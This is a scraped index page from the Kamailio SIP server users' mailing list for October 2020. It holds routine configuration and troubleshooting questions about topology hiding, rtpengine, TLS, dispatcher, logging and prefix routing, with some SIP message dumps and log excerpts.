19 Oct '20

Hi List, I am using Topos module to hide network topology. I am having a problem of routing the ACK request for REINVITE. Here is the schema: A KAMAILIO B 1. --------- INVITE --------> 2. <---- 180 RINGING --- 3. <---- 200 OK --- 4. ---- ACK ---> 5. <--------- (RE) INVITE -- 6. --------- OK ---> 7. <---- ACK ----- (THIS ACK IS SENT TO PRIVATE IP OF A) I use TOPOS module along with fix_nated_contact as I would do normally for natted UAs. The first ACK (4) is routed correctly but not the second one (7), which is routed to the PRIVATE IP of A instead of routing to its public address. Has anyone run into this problem while using TOPOS module? How could I make them work together? Best Regards, Minh Phan

2 1

hold_on_music over P2P call [Kamailio]
by Amit Pal 19 Oct '20

19 Oct '20

Hi Team, Pls guide me on following point. :- By using kamailio (P2P call), want to play hold on music during hold call. Shall it be possible without any external media server like (RTPProxy/media proxy). Regards Amit Pal

2 1

Kamailio IMS RTP Engine
by Pavithra Mohanraja 19 Oct '20

19 Oct '20

Hi, I have followed below link to setup rtp engine. https://open5gs.org/open5gs/docs/tutorial/02-VoLTE-setup/ RTP engine is started without any errors and it is enabled in pcscf also. I am using the config files of pcscf as per the above link .. still rtp packets are not reaching pcscf from UE . What could be the problem? The only difference is that i have deployed ims in kubernetes environment as pods. Kindly help. Thanks, Pavithra

2 2

Libphonenumber - Updating metadata
by Zach Nielsen 18 Oct '20

18 Oct '20

Hey all, I've been using the PHONENUM module, which uses Google's libphonenumber library, to perform number validation among other handy things within the route script. One problem I've run into however is the metadata in the latest stable (5.4) repo is pretty stale. I'm curious if anyone is running this module, and if so how they've gone about updating the metadata used by the underlying library. If I have to ditch the repo and compile everything manually, that's not a huge deal. Just hoping there's another way. Thanks! Zach

3 3

No trusted table found
by Jon Bonilla (Manwe) 17 Oct '20

17 Oct '20

Hi all Just installed a kamailio 5.4.1 for a simple proxy scenario. I created the version,address and trusted tables, and added some ips to the trusted via kamctl. If I execute "kamctl trusted show" I see the list of servers. But with "kamctl trusted dump" I receive { "jsonrpc": "2.0", "error": { "code": 500, "message": "No trusted table" }, "id": 13063 } when I start kamailio with debug I see these messages: b_do_submit_query(): submitted query: select `table_version` from `version` where `table_name`='trusted', result 0 my version table looks like this: +----+------------+---------------+ | id | table_name | table_version | +----+------------+---------------+ | 1 | version | 1 | | 2 | trusted | 6 | | 3 | address | 6 | +----+------------+---------------+ any hints? cheers, Jon -- PekePBX, the multitenant PBX solution https://pekepbx.com

2 5

TLS connection from Chrome to Kamailio fails
by Juha Heinanen 17 Oct '20

17 Oct '20

White testing WebRTC, I noticed that TLS connection from Chrome browser 85.0.4183.121 to Kamailio's (master version) TLS listening port fails. Chrome sends Client Hello and K responds with Server Hello. After that Chrome terminates the handshake by sending TCP FIN. Connection setup from Firefox works fine. After receiving Server Hello, is sends Change Cipher Spec, etc. My K is using Let's Encrypt server certificate and is server tls_method is TLSv1.2+. Any ideas what goes wrong? Has anyone else experienced this? -- Juha

3 6

How to increase private & shared memory in kamailio Container?
by Hamid Hashmi 16 Oct '20

16 Oct '20

Dear Users How can I increase private memory in the Kamailio container? the service was started with the following command docker run -d --restart unless-stopped --network host -v /root/volumes/scscf/:/etc/kamailio --name scscf -e IP=10.161.224.90 -e INT_IP=10.161.224.90 10.161.224.196:5000/kamailio-ngvoice PS: I don't have a docker file to build the image again. Regards Hamid R. Hashmi

2 1

usrloc_dmq - Suddenly stopped usrloc replication
by José Seabra 16 Oct '20

16 Oct '20

Hello there, Suddenly the usrloc replication through DMQ stopped, but the interesting thing is that DMQ cluster status is OK, htable replication still working only usrloc_dmq stopped working. I increased the kamailio loglevel to 3 in order to see if there was some log related and then registered a peer, but the only DMQ logs that I see are related with notification_peer and htable replication, nothing related with usrloc_dmq. What I can do more here to try to understand what went wrong? I haven't restarted the cluster yet, because I would like to try to understand the root cause of this issue. Any advice would be appreciated Thank you -- Cumprimentos José Seabra

3 8

Kamailio 5.2.5 - Need help with rtpengine error
by Andrew Chen 15 Oct '20

15 Oct '20

Hi all, Today I saw the following errors reported by rtpengine module: Oct 15 15:02:10 ashprodkama52 kamailio[8028]: 30(8086) DEBUG: rtpengine [rtpengine.c:2453]: rtpp_function_call(): proxy reply: d6:result5:error12:error-reason15:Unknown call-ide Oct 15 15:02:10 ashprodkama52 kamailio[8028]: 30(8086) ERROR: rtpengine [rtpengine.c:2474]: rtpp_function_call(): proxy replied with error: Unknown call-id This was on the 200 OK response back from our Freeswitch. Any idea what would cause this? Thanks. -- Andy Chen Sr. Telephony Lead Engineer achen@ <achen(a)thinkingphones.com>fuze.com -- *Confidentiality Notice: The information contained in this e-mail and any attachments may be confidential. If you are not an intended recipient, you are hereby notified that any dissemination, distribution or copying of this e-mail is strictly prohibited. If you have received this e-mail in error, please notify the sender and permanently delete the e-mail and any attachments immediately. You should not retain, copy or use this e-mail or any attachment for any purpose, nor disclose all or any part of the contents to any other person. Thank you.*

2 2

Regd : SIP Configuration in Kamailio
by Santanu B 15 Oct '20

15 Oct '20

Hi, We are using Jitsi Meet for Video Conference Service. We want our SIP endpoint to join in the conference room in Jitsi. For that i am trying to configure Kamailio SIP Server in our environment. I have installed the Server and my endpoints are registered in my SIP server. Both endpoints are able to connect to each other. But I am unable to configure the SIP endpoints to join in the Meet Conference Room. Please guide me to configure. Thanks and regards, Santanu

5 5

sdpops - modifying sdp codecs' presedence list - order
by Melek Oktay 15 Oct '20

15 Oct '20

Hello, Kamailio *sdpops *module consist of several useful functions for manipulating SDP on Proxy side such as *sdp_keep_codecs_by_name*() . This function *sdp_keep_codecs_by_name*("PCMU,PCMA,GSM") finds codecs id [0,8,3] and if incoming packet consist of other than these codecs, they are removed ! For example, assume incoming packet SDP --> [8 0 3 9 101] after applying this function 9 and 101 are removed and outgoing packet SDP consist only PCMU,PCMA,GSM [0,8,3]. This function does taking given codec *precedence/priority* into account. As you see above message SDP is 8 0 3, different priority than inputted 0 8 3. I need to change *order *of codecs too ! Would you help me to do it ? I couldn't find *add *operation on *sdpops *module Regards, Melek

1 0

Kamailio Relay Replies Issue
by me.projects＠yahoo.com 15 Oct '20

15 Oct '20

I have DID provider which is sending INVITES to Kamailio and kamailio has UAC module with asterisk to forward Calls to Asterisk with uac_auth() 1-DID Provider ----> (TLS)2-Kamailio (UDP) -----> (UDP) 3-Asterisk Call from Kamailio to Asterisk is forwarded and answered but NON of the reply received in "MANAGE_REPLY" route is not relayed back to DID provider call get disconnected. =================SIP DUMP INVITE FROM DID INVITE sip:+1700@KAMAILIOSERER.com:5061;user=phone;transport=tls SIP/2.0FROM: Alga Tech<sip:+17900000002@DIDPROVIDER.com:5061;user=phone>;tag=28989e96e28d47d891b4d8d21d85fa92TO: <sip:+1700@KAMAILIOSERER.com:5061;user=phone>CSEQ: 1 INVITECALL-ID: 936ba28f302f5a5d9b09f32e2e7c41f2MAX-FORWARDS: 70VIA: SIP/2.0/TLS DID-IP:5061;TH=div;branch=z9hG4bK77976715RECORD-ROUTE: <sip:DIDPROVIDER-ROUTE.com:5061;transport=tls;lr>CONTACT: <sip:DIDPROVIDER-CONTACT.com:443;x-i=b9483d0b-e3aa-4487-8dec-68de62d93a35;x-c=936ba28f302f5a5d9b09f32e2e7c41f2/d/8/26d69f6b729942a799552629a315d5d1>CONTENT-LENGTH: 1103MIN-SE: 300SUPPORTED: timerUSER-AGENT: Microsoft.PSTNHub.SIPProxy v.2020.10.12.5 i.USEA.0CONTENT-TYPE: application/sdpALLOW: INVITE,ACK,OPTIONS,CANCEL,BYE,NOTIFYSESSION-EXPIRES: 3600TH: dih -----------------------Invite to Asterisk with AUTH INVITE sip:+1700@KAMAILIOSERER.com:5061;user=phone;transport=tls SIP/2.0FROM: Alga Tech<sip:+17900000002@DIDPROVIDER.com:5061;user=phone>;tag=28989e96e28d47d891b4d8d21d85fa92TO: <sip:+1700@KAMAILIOSERER.com:5061;user=phone>CSEQ: 1 INVITECALL-ID: 936ba28f302f5a5d9b09f32e2e7c41f2MAX-FORWARDS: 69VIA: SIP/2.0/TLS DID-IP:5061;TH=div;branch=z9hG4bK77976715RECORD-ROUTE: <sip:DIDPROVIDER-ROUTE.com:5061;transport=tls;lr>CONTACT: <sip:DIDPROVIDER-CONTACT.com:443;x-i=b9483d0b-e3aa-4487-8dec-68de62d93a35;x-c=936ba28f302f5a5d9b09f32e2e7c41f2/d/8/26d69f6b729942a799552629a315d5d1>CONTENT-LENGTH: 1103MIN-SE: 300SUPPORTED: timerUSER-AGENT: Microsoft.PSTNHub.SIPProxy v.2020.10.12.5 i.USEA.0CONTENT-TYPE: application/sdpALLOW: INVITE,ACK,OPTIONS,CANCEL,BYE,NOTIFYSESSION-EXPIRES: 3600TH: dih ------------------ >From Asterisk to Kamailio SIP/2.0 100 TryingVia: SIP/2.0/UDP KAMAILIO-IP:7790;TH=ucv;rport=7790;received=KAMAILIO-IP;branch=z9hG4bK7317.fe3491996f35f580f2efa1c50081a62c.1;i=7Via: SIP/2.0/TLS DID-IP:5061;rport=8256;TH=div;branch=z9hG4bK77976715Record-Route: <sip:KAMAILIO-IP:7790;lr;r2=on;ftag=28989e96e28d47d891b4d8d21d85fa92;vsf=AAAAABoEBwFwQUMeU1FcXjMDGx9bBF0XAQV1Yi5taWNyb3NvZnQuY29tOjUwNjE7dXNlcj1waG9uZQ--;nat=yes>Record-Route: <sip:KAMAILIO-IP:5061;transport=tls;r2=on;lr;ftag=28989e96e28d47d891b4d8d21d85fa92;vsf=AAAAABoEBwFwQUMeU1FcXjMDGx9bBF0XAQV1Yi5taWNyb3NvZnQuY29tOjUwNjE7dXNlcj1waG9uZQ--;nat=yes>Record-Route: <sip:DIDPROVIDER-ROUTE.com:5061;transport=tls;lr>Call-ID: 936ba28f302f5a5d9b09f32e2e7c41f2From: "Alga Tech" <sip:1508@qs.callsprout.com>;tag=28989e96e28d47d891b4d8d21d85fa92To: <sip:+1700@KAMAILIOSERER.com;user=phone>CSeq: 1 INVITEServer: AsteriskContent-Length: 0TH: uch ---------------------- >From Asterisk to Kamailio SIP/2.0 180 RingingVia: SIP/2.0/UDP KAMAILIO-IP:7790;TH=ucv;rport=7790;received=KAMAILIO-IP;branch=z9hG4bK7317.fe3491996f35f580f2efa1c50081a62c.1;i=7Via: SIP/2.0/TLS DID-IP:5061;rport=8256;TH=div;branch=z9hG4bK77976715Record-Route: <sip:KAMAILIO-IP:7790;lr;r2=on;ftag=28989e96e28d47d891b4d8d21d85fa92;vsf=AAAAABoEBwFwQUMeU1FcXjMDGx9bBF0XAQV1Yi5taWNyb3NvZnQuY29tOjUwNjE7dXNlcj1waG9uZQ--;nat=yes>Record-Route: <sip:KAMAILIO-IP:5061;transport=tls;r2=on;lr;ftag=28989e96e28d47d891b4d8d21d85fa92;vsf=AAAAABoEBwFwQUMeU1FcXjMDGx9bBF0XAQV1Yi5taWNyb3NvZnQuY29tOjUwNjE7dXNlcj1waG9uZQ--;nat=yes>Record-Route: <sip:DIDPROVIDER-ROUTE.com:5061;transport=tls;lr>Call-ID: 936ba28f302f5a5d9b09f32e2e7c41f2From: "Alga Tech" <sip:1508@qs.callsprout.com>;tag=28989e96e28d47d891b4d8d21d85fa92To: <sip:+1700@KAMAILIOSERER.com;user=phone>;tag=17f0e0ba-c1c0-457a-b0dd-9a9729d312e7CSeq: 1 INVITEServer: AsteriskContact: <sip:66.232.107.106:7790>Allow: OPTIONS, SUBSCRIBE, NOTIFY, PUBLISH, INVITE, ACK, BYE, CANCEL, UPDATE, PRACK, REGISTER, MESSAGE, REFERContent-Length: 0 ---------------------- >From Asterisk to Kamailio SIP/2.0 180 RingingVia: SIP/2.0/UDP KAMAILIO-IP:7790;TH=ucv;rport=7790;received=KAMAILIO-IP;branch=z9hG4bK7317.fe3491996f35f580f2efa1c50081a62c.1;i=7Via: SIP/2.0/TLS DID-IP:5061;rport=8256;TH=div;branch=z9hG4bK77976715Record-Route: <sip:KAMAILIO-IP:7790;lr;r2=on;ftag=28989e96e28d47d891b4d8d21d85fa92;vsf=AAAAABoEBwFwQUMeU1FcXjMDGx9bBF0XAQV1Yi5taWNyb3NvZnQuY29tOjUwNjE7dXNlcj1waG9uZQ--;nat=yes>Record-Route: <sip:KAMAILIO-IP:5061;transport=tls;r2=on;lr;ftag=28989e96e28d47d891b4d8d21d85fa92;vsf=AAAAABoEBwFwQUMeU1FcXjMDGx9bBF0XAQV1Yi5taWNyb3NvZnQuY29tOjUwNjE7dXNlcj1waG9uZQ--;nat=yes>Record-Route: <sip:DIDPROVIDER-ROUTE.com:5061;transport=tls;lr>Call-ID: 936ba28f302f5a5d9b09f32e2e7c41f2From: "Alga Tech" <sip:1508@qs.callsprout.com>;tag=28989e96e28d47d891b4d8d21d85fa92To: <sip:+1700@KAMAILIOSERER.com;user=phone>;tag=17f0e0ba-c1c0-457a-b0dd-9a9729d312e7CSeq: 1 INVITEServer: AsteriskAllow: OPTIONS, SUBSCRIBE, NOTIFY, PUBLISH, INVITE, ACK, BYE, CANCEL, UPDATE, PRACK, REGISTER, MESSAGE, REFERContact: <sip:66.232.107.106:7790>Content-Length: 0TH: uch ---------------------- >From Asterisk to Kamailio SIP/2.0 200 OKVia: SIP/2.0/UDP KAMAILIO-IP:7790;TH=ucv;rport=7790;received=KAMAILIO-IP;branch=z9hG4bK7317.fe3491996f35f580f2efa1c50081a62c.1;i=7Via: SIP/2.0/TLS DID-IP:5061;rport=8256;TH=div;branch=z9hG4bK77976715Record-Route: <sip:KAMAILIO-IP:7790;lr;r2=on;ftag=28989e96e28d47d891b4d8d21d85fa92;vsf=AAAAABoEBwFwQUMeU1FcXjMDGx9bBF0XAQV1Yi5taWNyb3NvZnQuY29tOjUwNjE7dXNlcj1waG9uZQ--;nat=yes>Record-Route: <sip:KAMAILIO-IP:5061;transport=tls;r2=on;lr;ftag=28989e96e28d47d891b4d8d21d85fa92;vsf=AAAAABoEBwFwQUMeU1FcXjMDGx9bBF0XAQV1Yi5taWNyb3NvZnQuY29tOjUwNjE7dXNlcj1waG9uZQ--;nat=yes>Record-Route: <sip:DIDPROVIDER-ROUTE.com:5061;transport=tls;lr>Call-ID: 936ba28f302f5a5d9b09f32e2e7c41f2From: "Alga Tech" <sip:1508@qs.callsprout.com>;tag=28989e96e28d47d891b4d8d21d85fa92To: <sip:+1700@KAMAILIOSERER.com;user=phone>;tag=17f0e0ba-c1c0-457a-b0dd-9a9729d312e7CSeq: 1 INVITEServer: AsteriskAllow: OPTIONS, SUBSCRIBE, NOTIFY, PUBLISH, INVITE, ACK, BYE, CANCEL, UPDATE, PRACK, REGISTER, MESSAGE, REFERContact: <sip:66.232.107.106:7790>Supported: 100rel, timer, replaces, norefersubSession-Expires: 3600;refresher=uacRequire: timerContent-Type: application/sdpContent-Length: 299TH: uch

1 0

To Header Manipulation
by Sam Ware 15 Oct '20

15 Oct '20

Wondering if this is intended behavior. We have a customer doing some craziness with the TO header. They are including their tech prefix in the TO header as well as the RURI. It doesn't cause any issue in our systems but apparently it does with one of our vendors. In an effect to prevent the issue, we thought we would check if the tech prefix was added on the TO header and remove it. Initially, I tried this by changing the $tU variable. $avp(tp_len) = $(avp(techprefix){s.len}) + 1; # Get the Length of the Tech Prefix and add 1 for the # or * $tU = $(tU{s.strip, $avp(tp_len)}); The result ended up with the duplication of the DNIS: sut <sip:911999# 1812555111118125551111@172.16.3.45:5060> Where 911999# was the tech prefix and 18125551111 is the DNIS which was still an issue for the vendor. Through additional reading, I found the suggestion to use the uac_replace_to function in the UAC module which I implemented as follows: $avp(new_to_hdr_uri) = $(tu{re.subst,/sip:(.*[\*#])(.*)/sip:\2/}); uac_replace_to("$avp(new_to_hdr_uri)"); This resulted in the original TO header username to be appended at the end of the uri: sut <sip:18125551111@172.16.3.45:5060911999#18125551111> Wondering if I am doing something wrong or this is the way these functions are designed to protect the TO header contents for Dialog matching. -- Sam D Ware

2 1

Error in RTP engine setup
by Pavithra Mohanraja 15 Oct '20

15 Oct '20

Hi, I tried to setup rtpengine to make my sip clients communicate through proxy following https://open5gs.org/open5gs/docs/tutorial/02-VoLTE-setup/ I started sip communication since the service was running and saw that the RTP packets go to exposed rtp interface instead of other sip client. But i don't receive packets from the other end. When analyzed I noticed the rtp-engine daemon gives a few errors. *modprobe: FATAL: Module xt_RTPENGINE not found in directory /lib/modules/4.15.0-118-generic* *iptables: No chain/target/match by that name.ip6tables: No chain/target/match by that name. * Starting RTP/media proxy ngcp-rtpengine-daemon [1602690253.130392] ERR: FAILED TO CREATE KERNEL TABLE 0 (No such file or directory), KERNEL FORWARDING DISABLED* *(Note: *uname -r gives 4.15.0-118-generic and /lib/modules/ has only 4.15.0-115-generic*)* Please help me with this issue. Thanks in Advance. Regards, Pavithra

2 2

Re: [SR-Users] Regd : SIP Configuration in Kamailio
by Henning Westerholt 14 Oct '20

14 Oct '20

Hello, please keep the list in CC. I can see Kamailio in your log: Oct 14 11:21:59 nickar /usr/sbin/kamailio[24567]: INFO: <core> [main.c:842]: sig_usr(): signal 15 received Oct 14 11:21:59 nickar systemd[1]: Stopping Kamailio (OpenSER) - the Open Source SIP Server... Oct 14 11:21:59 nickar /usr/sbin/kamailio[24568]: INFO: <core> [main.c:842]: sig_usr(): signal 15 received About tracing/debugging, one good option is sngrep. Cheers, Henning -- Henning Westerholt – https://skalatan.de/blog/ Kamailio services – https://gilawa.com<https://gilawa.com/> From: Santanu B <santanu.br(a)gmail.com> Sent: Wednesday, October 14, 2020 1:41 PM To: Henning Westerholt <hw(a)skalatan.de> Subject: Re: [SR-Users] Regd : SIP Configuration in Kamailio Hi, My syslog file is enclosed for your reference. Thanks, Santanu On Wed, Oct 14, 2020 at 1:07 PM Henning Westerholt <hw(a)skalatan.de<mailto:hw@skalatan.de>> wrote: Hello, have a look to /var/log/messages or /var/log/syslog, depending on the distribution. Kamailio might be logged there. Cheers, Henning -- Henning Westerholt – https://skalatan.de/blog/ Kamailio services – https://gilawa.com<https://gilawa.com/> From: sr-users <sr-users-bounces(a)lists.kamailio.org<mailto:sr-users-bounces@lists.kamailio.org>> On Behalf Of Santanu B Sent: Wednesday, October 14, 2020 7:09 AM To: Kamailio (SER) - Users Mailing List <sr-users(a)lists.kamailio.org<mailto:sr-users@lists.kamailio.org>> Subject: Re: [SR-Users] Regd : SIP Configuration in Kamailio Dear David, In /var/log folder I am unable to see any kamailio log. Only syslog file is available. Please help me to find the Kamailio log. Also please guide me to find out the trace also as I am very new to SIP Server. Thanks a lot. Regards, Santanu On Tue, Oct 13, 2020 at 4:05 PM David Villasmil <david.villasmil.work(a)gmail.com<mailto:david.villasmil.work@gmail.com>> wrote: Hello, You will need to provide more information. What happens? What errors do you see in kamailio’s log? A trace would also be nice. On Tue, 13 Oct 2020 at 06:24, Santanu B <santanu.br(a)gmail.com<mailto:santanu.br@gmail.com>> wrote: Hi, We are using Jitsi Meet for Video Conference Service. We want our SIP endpoint to join in the conference room in Jitsi. For that i am trying to configure Kamailio SIP Server in our environment. I have installed the Server and my endpoints are registered in my SIP server. Both endpoints are able to connect to each other. But I am unable to configure the SIP endpoints to join in the Meet Conference Room. Please guide me to configure. Thanks and regards, Santanu _______________________________________________ Kamailio (SER) - Users Mailing List sr-users(a)lists.kamailio.org<mailto:sr-users@lists.kamailio.org> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users -- Regards, David Villasmil email: david.villasmil.work(a)gmail.com<mailto:david.villasmil.work@gmail.com> phone: +34669448337 _______________________________________________ Kamailio (SER) - Users Mailing List sr-users(a)lists.kamailio.org<mailto:sr-users@lists.kamailio.org> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users

1 0

SRTP
by Andy Kama 14 Oct '20

14 Oct '20

Hi All, I have setup a tls connection to a sip provider and it works perfectly But they are requesting i send srtp i can find any documentation how i do it with rtpengine etc? any guidance would be appreciated

3 3

pstn_route add_route(): route name <IP> not defined error
by sai Sudheer 14 Oct '20

14 Oct '20

Hii,I am trying to use pstn_route module for the first time, and i want to route the invite to specific pstn server based on its prefix.I have loaded the module & setup the DB, and it's giving error saying route name (from DB) is not defined after adding the a prefix into DB table., and there were no errors when DB table is empty.Not sure how to defined it, or i dont know what did i miss. Please help. #### CONFIG ##########loadmodule "prefix_route.so"modparam("prefix_route", "db_url", "mysql://xxxxx:xxxxx@localhost/kamailioDB")modparam("prefix_route", "db_table", "new_prefix_route") #PSTN Routing table contains if (!prefix_route("+44")) { xlog("L_INFO", "+44 prefix didnt match with prefix_route DB\n"); } ########## DB####MariaDB [kamailio]> select * from new_prefix_route;Empty set (0.00 sec) MariaDB [kamailio]> exit;########## Kamailio looks good untill here, no errors.. # Now i have added a prefix into sql DBINSERT INTO new_prefix_route VALUES ("+44", "10.10.1.1:5060", "route for this prefix");###########Error log after adding a prefix into new_prefix_route table & restart of kamailio 0(5802) CRITICAL: prefix_route [prefix_route.c:72]: add_route(): route name '10.10.1.1:5060' is not defined 0(5802) NOTICE: prefix_route [prefix_route.c:170]: pr_db_load(): Total prefix routes loaded: 1 0(5802) ERROR: prefix_route [prefix_route.c:174]: pr_db_load(): error flushing tree 0(5802) CRITICAL: prefix_route [prefix_route.c:212]: mod_init(): db load failed I have tried a "name" instead of IP (though i dont know how to convert that "name" into a IP:Port), But i am still getting same error using "name" instead of IP:port @ route field in DB. Please help.

2 2

how to get a value from SIP INVITE Header
by sai sudheer 14 Oct '20

14 Oct '20

Hii Please help me to get the a value from SIP INVITE header reached to kamailio like INVITE sip:+341930203454@sub.domain.com;myid=+34@sub.domain.com SIP/2.0 and i want to save the myid value +34 into a variable, without the domain name. $var(uri) = $sel(ruri); xavp_params_explode("$(var(uri){s.unbracket})", "uri"); xlog("L_INFO", "$var(uri) Received converted to $xavp(uri=>myid[0])\n"); I tried above and it prints +34(a)sub.domain.com But i want to just save +34 into a variable to further check the prefix based routing from the database. 1) Could you please help how to get it or If there is any alternate/single line approach to get this value? 2) $var & $xavp are process-local variables, and they cant be shared with other calls? Right 3) What is the best module to route calls based their prefix ? pstn_route or dynamic routing or any suggestions? Please help, thanks in advance.

3 7

'302 Moved temporarily' contact parsing error
by David VILLAUME 14 Oct '20

14 Oct '20

Hello, I see parsing errors on 302 contact header that seems compliant to RFC : Contact:<sip:172.16.0.21:5060>;q=0.5,<sip:172.16.0.22:5060>;q=0.25 <core> [core/parser/parse_addr_spec.c:479]: parse_to_param(): invalid character ',' in status 27: [;q=0.5] Is there an error in my contact or is it truly a parsing error ? Regards, David

3 6

Wants to know kamailio supports IMS with SRVCC Handover or not
by Anwesh Babu 14 Oct '20

14 Oct '20

Hello Team, I am working for a telecom company and want to use Kamailio for my VoLTE testing. I had earlier used these tools for my VoLTE testing using a Polaris CNE. But i have a requirement to perform SRVCC Handover for CS/CS+PS. will Kamailio support the SRVCC Handover? If supported, can it be possible to share the details ? -- Best Regards, Anwesh Babu T

1 0

routing calls based on prefix
by Andy Kama 13 Oct '20

13 Oct '20

Hi All, What is the best way to approach this? example if a call comes into kamailio with a specific number it example to:123456789 it must go to the dispatcher module but if a call comes with any other number it must route to a uac or can you use uac with dispatcher? basically i want to route inbound calls to a dispatcher and calls from that dispatcher out a uac

2 2

Caseless regex
by Marat Gareev 13 Oct '20

13 Oct '20

Hello, Is it possible write more readable regular expression if ($tU =~ "(?i)^test$") { ... } instead of "^[tT][eE][sS][tT]$"? On the first option, I get the error: 0(47250) ERROR: <core> [core/rvalue.c:3038]: fix_match_rve(): Bad regular expression Regards, Marat

3 5

about $sht(htable=>key) htable name
by Juha Heinanen 13 Oct '20

13 Oct '20

Is there some good reason why htable in $sht(htable=>key) cannot be a dynamic string containing pseudo variables? -- Juha

2 2

Re: [SR-Users] Local cache registration
by David VILLAUME 13 Oct '20

13 Oct '20

I read again the uac doc and didn’t find a way to perform this using the functions that seems to require credentials that I don’t have on the kamailio host. Is the uac module really designed to perform this operation is that way ? Regards, David El Sun, 11 Oct 2020 20:07:58 +0000 David VILLAUME <david.villaume at sewan.fr<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>> escribió: > Hello, > > I try to perform a registration caching in order to have a short interval > registration on phone <> Kamailio (5 minutes) and a longest interval on the > leg Kamailio <> registrar(1h). > > I’m not so sure about the best way to proceed, does one of you have a working > sample or some hints about the way to have it working ? > > the uac module does that. You can handle upstream registrations in different intervals than the ones you receive.

4 9

Permissions address
by David Villasmil 13 Oct '20

13 Oct '20

Hello guys, Is there any way to reload the address table in the cfg? I always need to use "kamctl address reload"... Regards, David Villasmil email: david.villasmil.work(a)gmail.com phone: +34669448337

3 3

Dispatcher stops working
by Sergio Charrua 12 Oct '20

12 Oct '20

Hello, Using Kamailio 5.1.6 for load balancing & failover, I noticed that from time to time, and very rarely, the dispatcher module stops dispatching to the Asterisk servers. I have to execute a "kamcmd dispatcher reload" for it to (re)start working. This is my dispatcher.list : 1 sip:10.19.XXX.YYY:5060 0 1 duid=sipgw01;maxload=100 1 sip:10.19.XXX.YYY:5060 0 2 duid=sipgw02;maxload=100 1 sip:10.19.XXX.YYY:5060 0 3 duid=sipgw03;maxload=100 1 sip:10.19.XXX.YYY:5060 0 4 duid=sipgw04;maxload=100 This is my dispatch routes: # Dispatch requests route[DISPATCH] { if(!ds_select_dst("1", "10","4")) { xlog("L_INFO","no destination selected from dispatcher list!"); send_reply("404", "No destination"); exit; } xlog("L_INFO","going to <$ru> via <$du>\n"); t_on_failure("RTF_DISPATCH"); route(RELAY); exit; } # Sample failure route failure_route[RTF_DISPATCH] { if (t_is_canceled()) { exit; } xlog("L_INFO", "Media server $du failed to answer, selecting other one!"); # next DST - only for 500 or local timeout if ( t_check_status("500") || (t_branch_timeout() && !t_branch_replied()) ) { #mark the destination Inactive and Probing ds_mark_dst("ip"); if(ds_next_dst()) { t_on_failure("RTF_DISPATCH"); route(RELAY); exit; } } } I suspect that the ds_mark_dst("ip") command in RTF_DISPACTH is the cause. Is there any think I can improve on this? Or any know bug with the dispatcher in Kamailio 5.1.6 version? Thanks in advance, *Sérgio Charrua*

4 4

Logging problem
by Jan Rozhon 12 Oct '20

12 Oct '20

Hi, sorry for quite stupid and newbie questions, but I am out of ideas. 1. On one of my Debian 10 servers I am unable to stop logging kamailio messages to /var/log/syslog. It is funny, because I have 3 more servers where it works but on this one, it doesnt and no matter what I try it still keeps sending logs to syslog (and to the file configured). My related configs: /etc/kamailio/kamailio.cfg log_stderror=no log_facility=LOG_LOCAL7 /etc/rsyslog.conf local6.* /var/log/kamailio/cdr.log local7.* /var/log/kamailio/kamailio.log /etc/rsyslog.d/kamailio.conf if $programname contains 'kamailio' then /var/log/kamailio/kamailio.log & stop /etc/systemd/system/multi-user.target.wants/kamailio.service SyslogIdentifier=kamailio 2. It is probably related to 1. I am unable to get the CDRs logged to anything else but /var/log/syslog. I tried database (nothing) and setting cdr_facility and again nothing. It just keeps sending everything to /var/log/syslog. Related configs: modparam("acc", "cdr_enable", 1) modparam("acc", "cdrs_table", "acc_cdrs") modparam("acc", "cdr_facility", "LOG_LOCAL6") Example output in syslog file: Sep 30 09:21:41 sip2 /usr/sbin/kamailio[1151]: NOTICE: {2 21 INVITE ZPZI7Hqytw} acc [acc.c:279]: acc_log_request(): ACC: call missed: timestamp=1601450501;method=INVITE;from_tag=1GH5hGQxN;to_tag=QwcYFet;call_id=ZPZI7Hqytw;code=486;reason=Busy here;src_user=XXXXXXXXX; Is there something trivial I am missing? Thank you. Regards, Jan

4 7

Local cache registration
by David VILLAUME 11 Oct '20

11 Oct '20

Hello, I try to perform a registration caching in order to have a short interval registration on phone <> Kamailio (5 minutes) and a longest interval on the leg Kamailio <> registrar(1h). I’m not so sure about the best way to proceed, does one of you have a working sample or some hints about the way to have it working ? Thanks in advance , David

2 1

Kamailio Bridge
by conradcordeiro＠gmail.com 09 Oct '20

09 Oct '20

Hello everyone, Please, see this: https://github.com/fredposner/scripts/blob/master/kamailio/kamailio-tls_srt…. I am researching to understand how this TLS-bridge configuration works and have a main question about how passwords are handled in this scenario. If the PBX in the equation requires password authentication, when SIP clients connect to the Kamailio bridge with that username and password, does Kamailio pass through the username and password to the PBX? Many thanks, Conrad

2 2

jsonrpcs - safest way to get data
by Ilie Soltanici 09 Oct '20

09 Oct '20

Hello, I'm trying to periodically get all registered contacts from the Kamailio memory in the json format. JSONRPCS module have 3 different types of transport to get this data. I just wonder what will be the safest transport for the Kamailio to get all this data? Because all this data it's not so important, I want to gather it without affecting the main process or with the minimal effect on the Kamailio SIP Processing module. 1. The HTTP transport - very useful, working async, but because it depends on the xhttp module - which works synchronously I'm afraid that for big data with contacts this type of transport can affect the kamailio performance. 2. FIFO - this transport also is very fast, working locally - but it's synchronous, I'm not sure how it will affect Kamailio SIP Processing when the local database will have few millions of users registered. 3. DGRAM - also seems to be very fast, working locally or remotely through the UDP protocol, but again it's synchronous and I'm not sure that this transport is returning any output for the request, I tried - but didn't get back anything, while for changing something it worked fine. Maybe it was a misconfiguration in my config file. What would be your recommendation for this case? Thank you.

3 3

modify Proxy-Authenticate header parameter
by David Villasmil 09 Oct '20

09 Oct '20

Hello guys, I'm receiving a Proxy-Authenticate header with a special parameter, call if "myparam", something like: Proxy-Authenticate: Digest realm="sip.mydomain.com", nonce="...", algorithm=MD5, qop="auth", opaque="XXXX/YYYY" I can get the parameter like so: $var(myparam) = @proxy_authorization["sip.mydomain.com"].myparam; And this is great! But i need to replace part of the parameter "myparam"m and I can't figure out how to do it... Can anyone help me with this? Thanks!, David Villasmil email: david.villasmil.work(a)gmail.com phone: +34669448337

2 2

Caller-ID and Dbaliases
by HS 08 Oct '20

08 Oct '20

